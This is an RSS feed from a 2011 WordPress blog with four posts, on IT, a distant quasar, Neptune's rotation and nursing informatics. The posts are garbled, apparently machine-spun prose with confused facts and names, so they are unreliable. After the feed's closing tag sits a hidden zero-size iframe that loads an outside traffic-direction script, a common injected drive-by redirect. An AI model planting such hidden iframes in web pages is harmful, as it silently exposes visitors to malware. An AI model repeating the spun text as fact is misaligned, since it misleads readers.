<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information Technology</title>
	<atom:link href="http://www.julioangelortiz.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.julioangelortiz.net</link>
	<description></description>
	<lastBuildDate>Sun, 24 Jul 2011 22:56:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>Drives for Information Technology</title>
		<link>http://www.julioangelortiz.net/drives-for-information-technology/</link>
		<comments>http://www.julioangelortiz.net/drives-for-information-technology/#comments</comments>
		<pubDate>Sun, 24 Jul 2011 22:56:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Information and Technology Management]]></category>
		<category><![CDATA[Accounting Systems Technology]]></category>
		<category><![CDATA[Art Tools]]></category>
		<category><![CDATA[Brain Technology]]></category>
		<category><![CDATA[Capabilities Of The Computer]]></category>
		<category><![CDATA[Decision Support]]></category>
		<category><![CDATA[Department Of Information Technology]]></category>
		<category><![CDATA[Development Of Computer Technology]]></category>
		<category><![CDATA[Establishment Data]]></category>
		<category><![CDATA[Forms Of Information Technology]]></category>
		<category><![CDATA[Forms Of Technology]]></category>
		<category><![CDATA[Human Brain]]></category>
		<category><![CDATA[Information Management Services]]></category>
		<category><![CDATA[Information Processing]]></category>
		<category><![CDATA[Information Processor]]></category>
		<category><![CDATA[Information Storage]]></category>
		<category><![CDATA[Media Communications]]></category>
		<category><![CDATA[Services Information Technology]]></category>
		<category><![CDATA[Storage Data]]></category>
		<category><![CDATA[Technology Information Technology]]></category>
		<category><![CDATA[Technology System]]></category>

		<guid isPermaLink="false">http://www.julioangelortiz.net/?p=37</guid>
		<description><![CDATA[Information technology usually refers to all forms of technology used for storing, sharing and use of establishment data, conversations, and all forms of multi-media communications. What is driving competition in the IT business environment and development of computer technology, which is part of. Technology system involving many countries, various forms of art tools that enable [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://bizitc.com/wp-content/uploads/2010/01/computerization.jpg" alt="" /><strong>Information  technology usually refers to all forms of technology used for storing,  sharing and use of establishment data, conversations, and all forms of  multi-media communications.</strong> What is driving competition in the IT business environment and development of computer technology, which is part of. Technology  system involving many countries, various forms of art tools that enable  the transmission of information for managers to translate the  information for their decision in the organization.</p>
<p>There are many forms of information technology such as computers, sensors, robots and systems for decision support. Since  the emergence of different accounting systems, technology, Electronic  Data audit process is now also known as an audit of information  technology should also start to control technology and in response to  exploit the capabilities of the computer &#8220;to attestation services.<span id="more-37"></span></p>
<p>Information technology has revolutionized business operations. Information technology is not always alluded to the computer, but called the oldest information processor is the brain. Technology  can be a scientific attempt to imitate the human brain in the effective  functioning of the communication and information storage. Some companies call the MIS department of information technology and information management services. Large  companies have greater need for IT departments with greater  responsibilities in information storage, data protection, information  processing, communication, and even search for information.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.julioangelortiz.net/drives-for-information-technology/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Astronomers Find distant Quasar</title>
		<link>http://www.julioangelortiz.net/astronomers-find-distant-quasar/</link>
		<comments>http://www.julioangelortiz.net/astronomers-find-distant-quasar/#comments</comments>
		<pubDate>Sun, 24 Jul 2011 22:53:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Information and Technology Management]]></category>
		<category><![CDATA[100 Million Years]]></category>
		<category><![CDATA[Active Galactic Nuclei]]></category>
		<category><![CDATA[Black Hole]]></category>
		<category><![CDATA[British Researchers]]></category>
		<category><![CDATA[Creation Of The Universe]]></category>
		<category><![CDATA[Distant Quasars]]></category>
		<category><![CDATA[Earth]]></category>
		<category><![CDATA[Electromagnetic Spectrum]]></category>
		<category><![CDATA[Great Distance]]></category>
		<category><![CDATA[Greatness]]></category>
		<category><![CDATA[History Of The Universe]]></category>
		<category><![CDATA[Luminous Objects]]></category>
		<category><![CDATA[Opportunity]]></category>
		<category><![CDATA[Period Of Time]]></category>
		<category><![CDATA[Quasar]]></category>
		<category><![CDATA[Radio Source]]></category>
		<category><![CDATA[Size Of The Universe]]></category>
		<category><![CDATA[Star Radio]]></category>
		<category><![CDATA[Stars And Galaxies]]></category>
		<category><![CDATA[Sun]]></category>

		<guid isPermaLink="false">http://www.julioangelortiz.net/?p=35</guid>
		<description><![CDATA[It is believed that quasars are created when the universe was just 800 million years. Astronomers discovered quasars are so far the most distant quasars were discovered. According to British researchers, these findings could provide information about how life at the beginning of the creation of the universe. For more information, quasars, or quasi-star radio [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://earthsky.org/wp-content/uploads/2011/06/most_distant_quasar-1024x607.jpg" alt="" width="294" height="174" /><strong>It is believed that quasars are created when the universe was just 800 million years.</strong></p>
<p><strong>Astronomers discovered quasars are so far the most distant quasars were discovered. </strong>According  to British researchers, these findings could provide information about  how life at the beginning of the creation of the universe.</p>
<p>For more information, quasars, or quasi-star radio source is highly active galactic nuclei and full of energy. It emits very bright light.<span id="more-35"></span></p>
<p>quasars are extremely rare is reinforced by the black hole has a mass of about 2 billion times in comparison with the Sun. He is also the most luminous objects that have been found from the period in which the universe was just 800 million years.</p>
<p>The  signal arrived at Earth shows that he left when the universe was only  about 5 percent of the current age of the objects located at great  distance, as it is almost impossible to see with ordinary monitoring. The reason is, its rays extended by expanding the size of the universe.</p>
<p>This  is when the beam arrives on Earth, mostly only the infrared part of the  electromagnetic spectrum other took us five years to find this object, a  quasar given the opportunity to explore space in the last 100 million  years that were not possible,</p>
<p>According  to researchers, the greatness of quasars makes it an excellent tool for  studying a certain period of time in the history of the universe, when  stars and galaxies formed earlier.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.julioangelortiz.net/astronomers-find-distant-quasar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Evident in the planet Neptune, one day period</title>
		<link>http://www.julioangelortiz.net/evident-in-the-planet-neptune-one-day-period/</link>
		<comments>http://www.julioangelortiz.net/evident-in-the-planet-neptune-one-day-period/#comments</comments>
		<pubDate>Sun, 24 Jul 2011 22:49:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Information and Technology Management]]></category>
		<category><![CDATA[Accurate Measurement]]></category>
		<category><![CDATA[Atmosphere]]></category>
		<category><![CDATA[Consensus]]></category>
		<category><![CDATA[Craig]]></category>
		<category><![CDATA[Discovery]]></category>
		<category><![CDATA[Exact Period]]></category>
		<category><![CDATA[Gas Giant Planet]]></category>
		<category><![CDATA[Giant Gas Planets]]></category>
		<category><![CDATA[Giovanni Cassini]]></category>
		<category><![CDATA[Jupiter]]></category>
		<category><![CDATA[Longitude]]></category>
		<category><![CDATA[Macquarie University Australia]]></category>
		<category><![CDATA[O Neill]]></category>
		<category><![CDATA[Observation Time]]></category>
		<category><![CDATA[Planet Neptune]]></category>
		<category><![CDATA[Rotation Period]]></category>
		<category><![CDATA[Space Scientists]]></category>
		<category><![CDATA[Time Interval]]></category>
		<category><![CDATA[Time Of Day]]></category>
		<category><![CDATA[Unseen Planet]]></category>

		<guid isPermaLink="false">http://www.julioangelortiz.net/?p=33</guid>
		<description><![CDATA[This discovery has greatly increased knowledge of the planet is rotating. By tracking certain features in the atmosphere, made ​​the first accurate measurement of the rotation period of Neptune researchers successfully. Obviously, 15 hours a day on earth, followed by 57 minutes and 59 seconds. These findings, to enrich the knowledge of the fundamentals of [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://t0.gstatic.com/images?q=tbn:ANd9GcTwyIa7HHuA0g-q2uUDG8Ksm7vqO1oiS1wxtOW-QD63ubNGrBfj" alt="" /><strong>This discovery has greatly increased knowledge of the planet is rotating.</strong></p>
<p><strong> By tracking certain features in the atmosphere, made ​​the first accurate measurement of the rotation period of Neptune researchers successfully.</strong> Obviously, 15 hours a day on earth, followed by 57 minutes and 59 seconds.</p>
<p>These findings, to enrich the knowledge of the fundamentals of Neptune, also provides a mechanism for understanding how mass is distributed and how the planet. As is known, is made ​​of gas giant planet Neptune.<span id="more-33"></span></p>
<p>These features, according to Karkoschka, was not found in other giant gas planets.</p>
<p>To find out what time of day on earth, Karkoschka, by observing the two functions belong to the unseen planet&#8217;s atmosphere to measure the rotation of Neptune. He then captured by measuring the longitude of each image to determine the observation time interval, providing a rotation period of the information.</p>
<p>Neptune, because it rotates around 100,000 in the past 20 years, Karkoschka, by tracking these features in time, can know the exact period of rotation.</p>
<p>Giovanni Cassini was the first successful, with 350 years ago, I discovered the Red Spot of Jupiter, the results of this study, the rotation is a significant increase in knowledge of the gas giant.</p>
<p>Currently, his research results among scientists, seems to emerge the consensus that it is accurate Karkoschka. According to Craig O&#8217;Neill, Macquarie University, Australia, the findings Markoschka right features for a period of Neptune&#8217;s atmosphere, space scientists.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.julioangelortiz.net/evident-in-the-planet-neptune-one-day-period/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Integrating Health Treatment With Info Technology</title>
		<link>http://www.julioangelortiz.net/integrating-health-treatment-with-info-technology/</link>
		<comments>http://www.julioangelortiz.net/integrating-health-treatment-with-info-technology/#comments</comments>
		<pubDate>Fri, 06 May 2011 23:00:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Health Information Technology]]></category>
		<category><![CDATA[Computer Processes]]></category>
		<category><![CDATA[Core Elements]]></category>
		<category><![CDATA[Documentation Documentation]]></category>
		<category><![CDATA[Fifth Stage]]></category>
		<category><![CDATA[Health Care Providers]]></category>
		<category><![CDATA[Health Treatment]]></category>
		<category><![CDATA[Healthcare Organization]]></category>
		<category><![CDATA[Implementation Analysis]]></category>
		<category><![CDATA[Informatics Specialists]]></category>
		<category><![CDATA[Information Methods]]></category>
		<category><![CDATA[Integrating Health]]></category>
		<category><![CDATA[Nursing Process]]></category>
		<category><![CDATA[Patient Centered Care]]></category>
		<category><![CDATA[Patient Centered Treatment]]></category>
		<category><![CDATA[Person Care]]></category>
		<category><![CDATA[Practice Background]]></category>
		<category><![CDATA[Procedure Documentation]]></category>
		<category><![CDATA[Professional Clinicians]]></category>
		<category><![CDATA[Quality Patient]]></category>
		<category><![CDATA[Technology Knowledge]]></category>

		<guid isPermaLink="false">http://www.julioangelortiz.net/?p=29</guid>
		<description><![CDATA[Nursing Informatics &#8211; Integrating Health Treatment With Info Technology Nursing Informatics is the integration of medical nursing with information management and computer processes. It&#8217;s a relatively new focus in well being treatment that brings together nursing skills with info technology knowledge. Nurse informatics experts handle and communicate nursing data and info to enhance choice generating [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Nursing Informatics &#8211; Integrating Health Treatment With Info Technology</strong></p>
<p>Nursing Informatics is the integration of medical nursing with information management and computer processes. It&#8217;s a relatively new focus in well being treatment that brings together nursing skills with info technology knowledge. Nurse informatics experts handle and communicate nursing data and info to enhance choice generating by customers, patients, nurses and other health care providers.</p>
<p><a href="http://www.julioangelortiz.net/"><img class="alignright" src="http://t2.gstatic.com/images?q=tbn:ANd9GcSodQdf1r1QaNV626EToGuFdF43lo7Ai9p8Hwd89E_U5kKHMuPq" alt="" width="194" height="259" /></a></p>
<p>The nursing procedure has four primary actions: preparing, implementation, analysis, and assessment. Nevertheless, because info management is integrated in to the nursing procedure and apply, some nursing communities identify a fifth stage in the nursing procedure: documentation. Documentation and patient-centered treatment would be the core elements from the nursing procedure. Automated documentation is vitally essential, not only for nursing, but for all affected person care. Up-to-date, correct info at each stage of the nursing process will be the crucial to safe, top quality patient-centered care.<span id="more-29"></span></p>
<p>&nbsp;</p>
<p>The effective implementation of information methods in nursing and well being treatment requires the following: First, it&#8217;s essential to possess nicely designed methods that assistance the nursing process inside the culture of an organization. One of probably the most effective and valuable sources a healthcare organization can include is a Nurse informatics experts.</p>
<p>&nbsp;</p>
<p>Nursing Informatics Experts</p>
<p>&nbsp;</p>
<p>Nursing Informatics Specialists are professional clinicians with the extensive clinical practice background. These people have experience in utilizing and applying the nursing procedure. These nurses have excellent analytical and critical pondering abilities. Finally, Nursing Informaticists are excellent project managers because of the similarity in between the undertaking management process and also the nursing process.</p>
<p>&nbsp;</p>
<p>Nurse and well being informatics carry a great offer of value to individuals and also the health treatment system.  * Offer Assistance towards the nursing function processes using technologies</p>
<p>* Increasing the accuracy and completeness of nursing documentation</p>
<p>* Improving the nurse&#8217;s workflow</p>
<p>* Automating the collection and reuse of nursing information</p>
<p>* Facilitating evaluation of medical information</p>
<p>* Supplying nursing content material to standardized languages</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The Healthcare Information and Management Systems Society (HIMSS) will be the primary governing body for health treatment and nursing informatics professionals. RHIOs are also recognized as Neighborhood Health Info Networks (CHINs). Earning your Bachelor&#8217;s of Science in Nursing (BSN) is also a requirement prior to sitting for your ANCC certifications test for Nursing Informatics. Operating in a specialty area assists nurses get to understand the regular operating processes and routines as well as understand the patient treatment procedure within their specialty.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.julioangelortiz.net/integrating-health-treatment-with-info-technology/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
